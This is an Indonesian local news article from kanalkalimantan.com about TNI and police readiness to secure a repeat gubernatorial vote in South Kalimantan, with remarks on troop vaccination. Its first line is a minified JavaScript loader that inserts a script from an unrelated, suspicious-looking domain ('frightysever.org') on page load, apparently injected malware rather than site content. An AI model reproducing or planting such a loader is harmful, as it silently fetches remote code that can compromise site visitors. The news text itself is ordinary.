(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – TNI dan Polri siap mengamankan pelaksanaan Pemungutan Suara Ulang (PSU) calon Gubernur dan Wakil Gubernur Kalsel.
Komandan Korem 101/Antasari Brigjen TNI Firmansyah mengatakan, dalam kerjasama tersebut TNI dan Polri akan mengerahkan personil untuk pengamanan PSU 9 Juni nanti.
“Sekitar 1.500 personil akan kita kerahkan untuk pengamanan PSU jelang pemilihan nanti,” katanya, di lapangan tembak Yonif 623/Bhakti Wira Utama Sungai Ulin, Banjarbaru, Rabu (19/5/2021) siang.
Baca juga: Loket Layanan Pertanahan dan SiLakonBaru Diluncurkan, Ini Komentar Wali Kota Aditya
TNI dan Polri selalu bersikap netral dan tak berpihak kepada siapapun dalam politik, serta tidak melibatkan diri pada kegiatan politik praktis.
“Saya tekankan, TNI bersikap netral dan seluruh masyarakat dan komponen bangsa dapat menjaga kondusifitas yang ada. Karena bagaimanapun, kalau kondisinya kondusif, tenang, aman dan damai, maka masyarakat bisa melaksanakan hak pilihnya dengan maksimal,” ucap Danrem 101.
Ia mengharapkan rekan-rekan terus memberi imbauan kepada masyarakat, salah satu legalitas dalam pelaksanaan PSU ini adalah tingkat kehadiran pemilih.
“Agar semua komponen masyarakat bersama-sama menjaga ketertiban umum dan tetap damai saat pelaksanaan PSU nanti,” pintanya.
Disinggung vaksinasi di kalangan personil TNI aktif, Firmansyah menjelaskan, untuk Korem di Kalsel sudah di atas 90 persen, selanjutnya akan menyasar para purnawirawan TNI.
“Sebenarnya, kita sudah akan melaksanakan, namun tertunda lagi ketika ada pengumuman ditariknya vaksin AstraZeneca. Seharusnya, minggu ini sudah harus dilaksanakan. Kemarin, untuk personil aktif kita menggunakan vaksin Sinovac. Kemungkinan, untuk purnawirawan akan menggunakan vaksin Astrazeneca, tergantung ketersediaannya yang ada saja,” jelas Firmansyah.
Baca juga: Sekolah Dibuka di Awal Tahun Ajaran, Ini Pesan Wawali Banjarbaru soal PTM
Sementara itu, Sekjen PWI Kalsel Yusni Hardi mengatakan, TNI memiliki tugas yang berat dan rela mempertaruhkan nyawa untuk keutuhan bangsa dan negara Indonesia. Wartawan akan tetap membantu TNI, tak hanya dari pemberitaan saja, tapi juga dalam meraih prestasi.
“Kami selalu ada untuk TNI, terutama menjelang PSU nanti, kita bersama-sama menjaga stabilitas dan kondusifitas. Wartawan dituntut untuk memberikan informasi yang sejuk dan mengedukasi masyarakat,” pungkasnya. (kanalkalimantan.com/tius)
Reporter : tius
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
This website uses cookies.